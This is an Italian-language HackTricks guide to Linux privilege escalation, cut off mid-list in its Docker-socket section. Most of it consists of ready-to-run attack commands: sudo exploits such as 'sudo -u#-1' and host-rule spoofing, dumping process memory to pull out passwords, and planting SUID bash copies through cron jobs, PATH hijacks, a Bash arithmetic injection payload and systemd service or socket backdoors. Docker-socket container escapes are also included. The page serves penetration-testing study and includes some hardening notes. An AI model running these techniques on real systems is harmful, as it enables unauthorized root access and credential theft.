Linux Privilege Escalation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni sul sistema

Informazioni OS

Iniziamo a raccogliere informazioni sul sistema operativo in esecuzione

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

PATH

Se hai i permessi di scrittura su qualsiasi cartella presente nella variabile PATH potresti essere in grado di hijackare alcune libraries o binaries:

echo $PATH

Env info

Informazioni interessanti, password o API keys nelle variabili d’ambiente?

(env || set) 2>/dev/null

Kernel exploits

Verifica la versione del kernel e se è disponibile qualche exploit che possa essere usato per escalate privileges.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Puoi trovare una buona lista di kernel vulnerabili e alcuni compiled exploits qui: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Altri siti dove puoi trovare alcuni compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Per estrarre tutte le versioni vulnerabili del kernel da quel sito puoi fare:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Strumenti che possono aiutare a cercare exploit del kernel sono:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (eseguirlo SULLA macchina vittima, controlla solo exploit per kernel 2.x)

Cerca sempre la versione del kernel su Google, magari la tua versione del kernel è indicata in qualche exploit e così potrai essere sicuro che l’exploit sia valido.

Ulteriori tecniche di kernel exploitation:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo versione

Basato sulle versioni vulnerabili di sudo che compaiono in:

searchsploit sudo

Puoi verificare se la versione di sudo è vulnerabile usando questo grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo versions before 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) permette a utenti locali non privilegiati di elevare i propri privilegi a root tramite l’opzione sudo --chroot quando il file /etc/nsswitch.conf viene usato da una directory controllata dall’utente.

Here is a PoC to exploit that vulnerability. Before running the exploit, make sure that your sudo version is vulnerable and that it supports the chroot feature.

For more information, refer to the original vulnerability advisory

Sudo host-based rules bypass (CVE-2025-32462)

Sudo before 1.9.17p1 (reported affected range: 1.8.8–1.9.17) può valutare regole sudoers basate sull’host usando il nome host fornito dall’utente da sudo -h <host> invece del nome host reale. Se sudoers concede privilegi più ampi su un altro host, puoi spoof quello host localmente.

Requisiti:

  • Versione di sudo vulnerabile
  • Regole sudoers specifiche per host (l’host non è né l’hostname corrente né ALL)

Esempio di pattern sudoers:

Host_Alias     SERVERS = devbox, prodbox
Host_Alias     PROD    = prodbox
alice          SERVERS, !PROD = NOPASSWD:ALL

Exploit tramite spoofing dell’allowed host:

sudo -h devbox id
sudo -h devbox -i

Se la risoluzione dello spoofed name viene bloccata, aggiungilo a /etc/hosts o usa un hostname che appare già in logs/configs per evitare DNS lookups.

sudo < v1.8.28

Da @sickrov

sudo -u#-1 /bin/bash

Dmesg: verifica della firma non riuscita

Controlla smasher2 box of HTB per un esempio di come questa vuln potrebbe essere sfruttata

dmesg 2>/dev/null | grep "signature"

Ulteriore enumerazione del sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Elencare le possibili difese

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Container Breakout

Se sei all’interno di un container, inizia con la seguente sezione container-security e poi pivot nelle pagine runtime-specific abuse:

Container Security

Dischi

Controlla what is mounted and unmounted, dove e perché. Se qualcosa è unmounted, potresti provare a mountarlo e cercare informazioni private

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software utili

Elenca i binari utili

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Controlla anche se è installato any compiler. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una simile).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software vulnerabile installato

Controlla la versione dei pacchetti e dei servizi installati. Potrebbe esserci una vecchia versione di Nagios (per esempio) che può essere sfruttata per escalare i privilegi…
Si consiglia di verificare manualmente la versione dei software installati più sospetti.

dpkg -l #Debian
rpm -qa #Centos

Se hai accesso SSH alla macchina puoi anche usare openVAS per controllare la presenza di software obsoleto e vulnerabile installato sulla macchina.

[!NOTE] > Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili, quindi è consigliabile usare applicazioni come OpenVAS o simili che verifichino se le versioni del software installato sono vulnerabili a exploit noti

Processi

Controlla quali processi sono in esecuzione e verifica se qualche processo ha più privilegi di quelli che dovrebbe (magari un tomcat eseguito da root?)

ps aux
ps -ef
top -n 1

Controlla sempre la presenza di possibili electron/cef/chromium debuggers in esecuzione, potresti abusarne per escalare i privilegi. Linpeas li rileva controllando il parametro --inspect nella riga di comando del processo.
Controlla anche i tuoi privilegi sui binaries dei processi, potresti essere in grado di sovrascriverne qualcuno.

Catene parent-child tra utenti diversi

Un processo figlio in esecuzione con un utente diverso rispetto al suo genitore non è automaticamente malevolo, ma è un utile triage signal. Alcune transizioni sono previste (root che genera un service user, login managers che creano processi di sessione), ma catene insolite possono rivelare wrappers, debug helpers, persistence, o confini di fiducia a runtime deboli.

ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp

Se trovi una catena sorprendente, ispeziona la riga di comando del processo padre e tutti i file che ne influenzano il comportamento (config, EnvironmentFile, script di supporto, directory di lavoro, argomenti scrivibili). In diversi privesc paths reali il processo figlio stesso non era scrivibile, ma la config controllata dal processo padre o la catena di helper lo erano.

Eseguibili eliminati e file ancora aperti dopo l’eliminazione

Gli artefatti di runtime sono spesso ancora accessibili dopo l’eliminazione. Questo è utile sia per privilege escalation sia per recuperare prove da un processo che ha già file sensibili aperti.

Cerca eseguibili eliminati:

pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo

Se /proc/<PID>/exe punta a (deleted), il processo sta ancora eseguendo l’immagine binaria precedente dalla memoria. Questo è un forte segnale per indagare perché:

  • l’eseguibile rimosso potrebbe contenere stringhe interessanti o credenziali
  • il processo in esecuzione potrebbe ancora esporre descrittori di file utili
  • un binario privilegiato eliminato può indicare manomissioni recenti o tentativi di pulizia

Raccogli i file cancellati ancora aperti a livello globale:

lsof +L1

Se trovi un descriptor interessante, recuperalo direttamente:

ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>

Questo è particolarmente utile quando un processo ha ancora aperto un segreto cancellato, uno script, un export di database o un file flag.

Monitoraggio dei processi

Puoi usare strumenti come pspy per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili che vengono eseguiti frequentemente o quando viene soddisfatto un insieme di requisiti.

Memoria dei processi

Alcuni servizi di un server salvano credentials in clear text inside the memory.
Normalmente avrai bisogno dei privilegi root per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è di solito più utile quando sei già root e vuoi scoprire altre credentials.
Tuttavia, ricordati che come utente regolare puoi leggere la memoria dei processi che possiedi.

Warning

Nota che oggi la maggior parte delle macchine non permette ptrace per default il che significa che non puoi effettuare il dump di altri processi che appartengono al tuo utente non privilegiato.

Il file /proc/sys/kernel/yama/ptrace_scope controlla l’accessibilità di ptrace:

  • kernel.yama.ptrace_scope = 0: tutti i processi possono essere sottoposti a debug, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing.
  • kernel.yama.ptrace_scope = 1: solo un processo padre può essere sottoposto a debug.
  • kernel.yama.ptrace_scope = 2: Solo l’admin può usare ptrace, in quanto richiede la capability CAP_SYS_PTRACE.
  • kernel.yama.ptrace_scope = 3: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing.

GDB

Se hai accesso alla memoria di un servizio FTP (per esempio) puoi ottenere l’Heap e cercare al suo interno le credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Script

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Per un dato PID, maps mostrano come la memoria è mappata nello spazio di indirizzi virtuale del processo; mostrano anche i permessi di ogni regione mappata. Il pseudo-file mem espone la memoria stessa del processo. Dal file maps sappiamo quali regioni di memoria sono leggibili e i loro offset. Usamo queste informazioni per seek nel file mem e dumpare tutte le regioni leggibili in un file.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fornisce accesso alla memoria fisica del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuale del kernel è accessibile tramite /dev/kmem.
Tipicamente, /dev/mem è leggibile solo da root e dal gruppo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Strumenti

Per dumpare la memoria di un processo puoi usare:

Credenziali dalla memoria del processo

Esempio manuale

Se trovi che il processo authenticator è in esecuzione:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Puoi dumpare il process (vedi le sezioni precedenti per diversi modi di dumpare la memory di un process) e cercare credentials nella memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Lo strumento https://github.com/huntergregal/mimipenguin ruba credenziali in chiaro dalla memoria e da alcuni file ben noti. Richiede privilegi di root per funzionare correttamente.

FunzionalitàNome processo
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:

Regex di ricerca/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Attività programmate/Cron jobs

Crontab UI (alseambusher) in esecuzione come root – web-based scheduler privesc

Se un pannello web “Crontab UI” (alseambusher/crontab-ui) gira come root ed è legato solo al loopback, puoi comunque raggiungerlo tramite SSH local port-forwarding e creare un job privilegiato per escalation.

Catena tipica

  • Individua la porta accessibile solo dal loopback (es., 127.0.0.1:8000) e il realm Basic-Auth tramite ss -ntlp / curl -v localhost:8000
  • Trova le credenziali in artefatti operativi:
  • Backups/scripts con zip -P <password>
  • unità systemd che espone Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Tunnel e login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Crea un high-priv job ed eseguilo immediatamente (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Usalo:
/tmp/rootshell -p   # root shell

Hardening

  • Non eseguire Crontab UI come root; vincolalo a un utente dedicato con permessi minimi
  • Limita l’ascolto a localhost e restringi ulteriormente l’accesso tramite firewall/VPN; non riutilizzare le password
  • Evita di incorporare secret in unit files; usa secret stores o EnvironmentFile accessibile solo da root
  • Abilita audit/logging per le esecuzioni on-demand dei job

Verifica se qualche job pianificato è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Se viene usato run-parts, verifica quali nomi verranno effettivamente eseguiti:

run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily

Questo evita falsi positivi. Una directory periodica scrivibile è utile solo se il nome del file del payload corrisponde alle regole locali di run-parts.

Cron path

Per esempio, dentro /etc/crontab puoi trovare il PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Nota come l’utente “user” abbia privilegi di scrittura su /home/user)

Se all’interno di questo crontab l’utente root prova a eseguire un comando o script senza impostare il PATH. Per esempio: * * * * root overwrite.sh
Quindi puoi ottenere una shell root usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron che esegue uno script con un wildcard (Wildcard Injection)

Se uno script eseguito da root ha un “*” dentro un comando, potresti sfruttarlo per ottenere risultati inaspettati (come privesc). Esempio:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se il wildcard è preceduto da un percorso come /some/path/* , non è vulnerabile (neanche ./* lo è).

Leggi la seguente pagina per altri trucchi di sfruttamento dei wildcard:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash esegue parameter expansion e command substitution prima di arithmetic evaluation in ((…)), $((…)) e let. Se un cron/parser eseguito da root legge campi di log non attendibili e li passa in un contesto aritmetico, un attaccante può iniettare una command substitution $(…) che viene eseguita come root quando il cron viene eseguito.

  • Perché funziona: In Bash, le expansion avvengono in questo ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come $(/bin/bash -c 'id > /tmp/pwn')0 viene prima sostituito (eseguendo il comando), poi il rimanente 0 numerico viene usato per l’aritmetica così lo script continua senza errori.

  • Schema tipico vulnerabile:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Sfruttamento: Fai scrivere testo controllato dall’attaccante nel log parsato in modo che il campo dall’aspetto numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non stampi su stdout (o reindirizzalo) in modo che l’operazione aritmetica rimanga valida.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Se puoi modificare uno script cron eseguito da root, puoi ottenere una shell molto facilmente:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se lo script eseguito da root usa una directory a cui hai accesso completo, potrebbe essere utile eliminare quella cartella e creare un symlink verso un’altra directory che punti a uno script controllato da te.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Quando si esaminano script/binaries privilegiati che leggono o scrivono file tramite percorso, verificare come vengono gestiti i link:

  • stat() segue un symlink e restituisce i metadati del target.
  • lstat() restituisce i metadati del link stesso.
  • readlink -f and namei -l aiutano a risolvere il target finale e mostrano i permessi di ciascun componente del percorso.
readlink -f /path/to/link
namei -l /path/to/link

Per difensori/sviluppatori, pattern più sicuri contro i trucchi con symlink includono:

  • O_EXCL with O_CREAT: fallisce se il percorso esiste già (blocca link/file pre-creati dall’attaccante).
  • openat(): operare rispetto a un file descriptor di directory di fiducia.
  • mkstemp(): creare file temporanei in modo atomico con permessi sicuri.

Binari cron firmati personalizzati con payload scrivibili

Blue teams a volte “firmano” binari lanciati da cron estraendo una sezione ELF custom e facendo grep per una stringa del vendor prima di eseguirli come root. Se quel binario è scrivibile dal gruppo (es., /opt/AV/periodic-checks/monitor di proprietà root:devs 770) e puoi leak il materiale di signing, puoi forgiare la sezione e dirottare il task di cron:

  1. Usa pspy per catturare il flusso di verifica. In Era, root eseguiva objcopy --dump-section .text_sig=text_sig_section.bin monitor seguito da grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin e poi eseguiva il file.
  2. Ricrea il certificato atteso usando la key/config leaked (da signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Crea un sostituto malevolo (es., drop una SUID bash, aggiungi la tua SSH key) e incorpora il certificato in .text_sig così il grep passa:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Sovrascrivi il binario schedulato preservando i bit di esecuzione:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Attendi il prossimo run di cron; una volta che il controllo della firma naive riesce, il tuo payload viene eseguito come root.

Cron jobs frequenti

Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne per escalare i privilegi.

Per esempio, per monitorare ogni 0.1s per 1 minuto, ordinare per comandi meno eseguiti e cancellare i comandi che sono stati eseguiti di più, puoi fare:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Puoi anche usare pspy (monitorerà e elencherà ogni processo che viene avviato).

Backup root che preservano i mode bits impostati dall’attaccante (pg_basebackup)

Se un cron di proprietà di root avvia pg_basebackup (o qualsiasi copia ricorsiva) su una directory del database su cui puoi scrivere, puoi piantare una SUID/SGID binary che verrà ricopiata come root:root con gli stessi mode bits nell’output del backup.

Tipico flusso di scoperta (come utente DB con privilegi ridotti):

  • Usa pspy per individuare un cron di root che esegue qualcosa come /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ ogni minuto.
  • Conferma che il cluster sorgente (es., /var/lib/postgresql/14/main) sia scrivibile da te e che la destinazione (/opt/backups/current) diventi di proprietà di root dopo l’operazione.

Sfruttamento:

# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash

# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash  # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p    # root shell without dropping privileges

Questo funziona perché pg_basebackup preserva i file mode bits quando copia il cluster; quando viene eseguito da root i file di destinazione ereditano root ownership + attacker-chosen SUID/SGID. Qualsiasi routine di backup/copy privilegiata simile che mantiene i permessi e scrive in una posizione eseguibile è vulnerabile.

Cronjob invisibili

È possibile creare un cronjob mettendo un carriage return dopo un commento (senza carattere newline), e il cronjob funzionerà. Esempio (nota il carriage return char):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Per individuare questo tipo di accesso stealth, ispeziona i file cron con strumenti che espongono i caratteri di controllo:

cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head

Servizi

Scrivibili .service file

Verifica se puoi scrivere un file .service, se puoi, potresti modificarlo in modo che esegua la tua backdoor quando il servizio è avviato, riavviato o fermato (potrebbe essere necessario aspettare che la macchina venga riavviata).
Ad esempio crea la tua backdoor all’interno del file .service con ExecStart=/tmp/script.sh

Binari di servizio scrivibili

Tieni presente che se hai permessi di scrittura sui binari eseguiti dai servizi, puoi modificarli per inserire backdoors in modo che, quando i servizi verranno rieseguiti, le backdoors vengano eseguite.

systemd PATH - Percorsi relativi

Puoi vedere il PATH usato da systemd con:

systemctl show-environment

Se scopri che puoi write in una qualsiasi delle cartelle del percorso, potresti essere in grado di escalate privileges. Devi cercare relative paths being used on service configurations nei file come:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Poi, crea un eseguibile con lo stesso nome del binary relativo all’interno della cartella PATH di systemd in cui puoi scrivere, e quando il servizio viene richiesto di eseguire l’azione vulnerabile (Start, Stop, Reload), la tua backdoor verrà eseguita (gli utenti non privilegiati di solito non possono avviare/fermare i servizi ma verifica se puoi usare sudo -l).

Learn more about services with man systemd.service.

Timers

Timers sono file di unità systemd il cui nome termina in **.timer** che controllano file o eventi **.service**. I Timers possono essere usati come alternativa a cron in quanto hanno supporto integrato per eventi basati sul calendario e per eventi monotoni nel tempo e possono essere eseguiti in modo asincrono.

Puoi enumerare tutti i timers con:

systemctl list-timers --all

Timer scrivibili

Se puoi modificare un timer, puoi indurlo a eseguire alcune unità esistenti di systemd.unit (come una .service o una .target)

Unit=backdoor.service

Nella documentazione puoi leggere cos’è l’unità:

L’unità da attivare quando questo timer scade. L’argomento è un nome di unità, il cui suffisso non è “.timer”. Se non specificato, questo valore di default corrisponde a un service che ha lo stesso nome dell’unità timer, eccetto il suffisso. (Vedi sopra.) Si raccomanda che il nome dell’unità attivata e il nome dell’unità timer siano identici, eccetto per il suffisso.

Pertanto, per abusare di questo permesso dovresti:

  • Trova qualche unità systemd (come una .service) che stia eseguendo un eseguibile scrivibile
  • Trova qualche unità systemd che stia eseguendo un percorso relativo e su cui hai privilegi di scrittura sul systemd PATH (per impersonare quell’eseguibile)

Per saperne di più sui timer usa man systemd.timer.

Abilitare il timer

Per abilitare un timer sono necessari privilegi root e bisogna eseguire:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Nota che il timer viene attivato creando un symlink verso di esso in /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) abilitano la comunicazione tra processi sulla stessa macchina o tra macchine diverse in modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file .socket.

I socket possono essere configurati usando file .socket.

Per saperne di più sui sockets con man systemd.socket. All’interno di questo file è possibile configurare diversi parametri interessanti:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Queste opzioni sono differenti ma, in sintesi, servono a indicare dove il socket ascolterà (il percorso del file AF_UNIX, l’indirizzo IPv4/6 e/o il numero di porta su cui ascoltare, ecc.)
  • Accept: Accetta un argomento booleano. Se true, viene avviata un’istanza del service per ogni connessione in arrivo e solo il socket della connessione viene passato a essa. Se false, tutti i socket in ascolto vengono passati all’unità di servizio avviata, e viene generata una sola unit di servizio per tutte le connessioni. Questo valore è ignorato per i datagram socket e le FIFO dove un’unica unit di servizio gestisce incondizionatamente tutto il traffico in ingresso. Di default è false. Per motivi di performance, è consigliato scrivere nuovi demoni in modo compatibile con Accept=no.
  • ExecStartPre, ExecStartPost: Accettano una o più righe di comando, che vengono eseguite prima o dopo che i socket/FIFO in ascolto vengono creati e associati (bound), rispettivamente. Il primo token della riga di comando deve essere un filename assoluto, seguito dagli argomenti del processo.
  • ExecStopPre, ExecStopPost: Comandi aggiuntivi che vengono eseguiti prima o dopo che i socket/FIFO in ascolto vengono chiusi e rimossi, rispettivamente.
  • Service: Specifica il nome dell’unità service da attivare sul traffico in arrivo. Questa impostazione è permessa solo per socket con Accept=no. Di default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non dovrebbe essere necessario usare questa opzione.

Writable .socket files

Se trovi un file .socket scrivibile puoi aggiungere all’inizio della sezione [Socket] qualcosa come: ExecStartPre=/home/kali/sys/backdoor e il backdoor verrà eseguito prima che il socket venga creato. Pertanto, probabilmente dovrai aspettare che la macchina venga riavviata.
Nota che il sistema deve usare quella configurazione di socket o il backdoor non verrà eseguito

Socket activation + writable unit path (create missing service)

Un’altra misconfigurazione ad alto impatto è:

  • un’unità socket con Accept=no e Service=<name>.service
  • l’unità di servizio referenziata è mancante
  • un attacker può scrivere in /etc/systemd/system (o in un altro unit search path)

In quel caso, l’attacker può creare <name>.service, quindi generare traffico verso il socket in modo che systemd carichi ed esegua il nuovo service come root.

Quick flow:

systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p

Socket scrivibili

Se identifichi un socket scrivibile (ora stiamo parlando di Unix Sockets e non dei file di configurazione .socket), allora puoi comunicare con quel socket e magari sfruttare una vulnerabilità.

Enumerare Unix Sockets

netstat -a -p --unix

Connessione raw

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Esempio di Exploitation:

Socket Command Injection

HTTP sockets

Nota che potrebbero esserci alcuni sockets in ascolto per richieste HTTP (non sto parlando dei file .socket ma dei file che agiscono come unix sockets). Puoi verificarlo con:

curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/

Se il socket risponde a una richiesta HTTP, allora puoi comunicare con esso e magari exploit qualche vulnerabilità.

Docker Socket scrivibile

Il Docker socket, spesso trovato in /var/run/docker.sock, è un file critico che dovrebbe essere messo in sicurezza. Per impostazione predefinita, è scrivibile dall’utente root e dai membri del gruppo docker. Avere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile.

Privilege Escalation con Docker CLI

Se hai accesso in scrittura al Docker socket, puoi ottenere privilege escalation usando i seguenti comandi:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Questi comandi permettono di eseguire un container con accesso root al file system dell’host.

Uso diretto della Docker API

Quando la Docker CLI non è disponibile, il Docker socket può comunque essere manipolato usando la Docker API e comandi curl.

  1. Elencare Docker Images: Recupera la lista delle immagini disponibili.
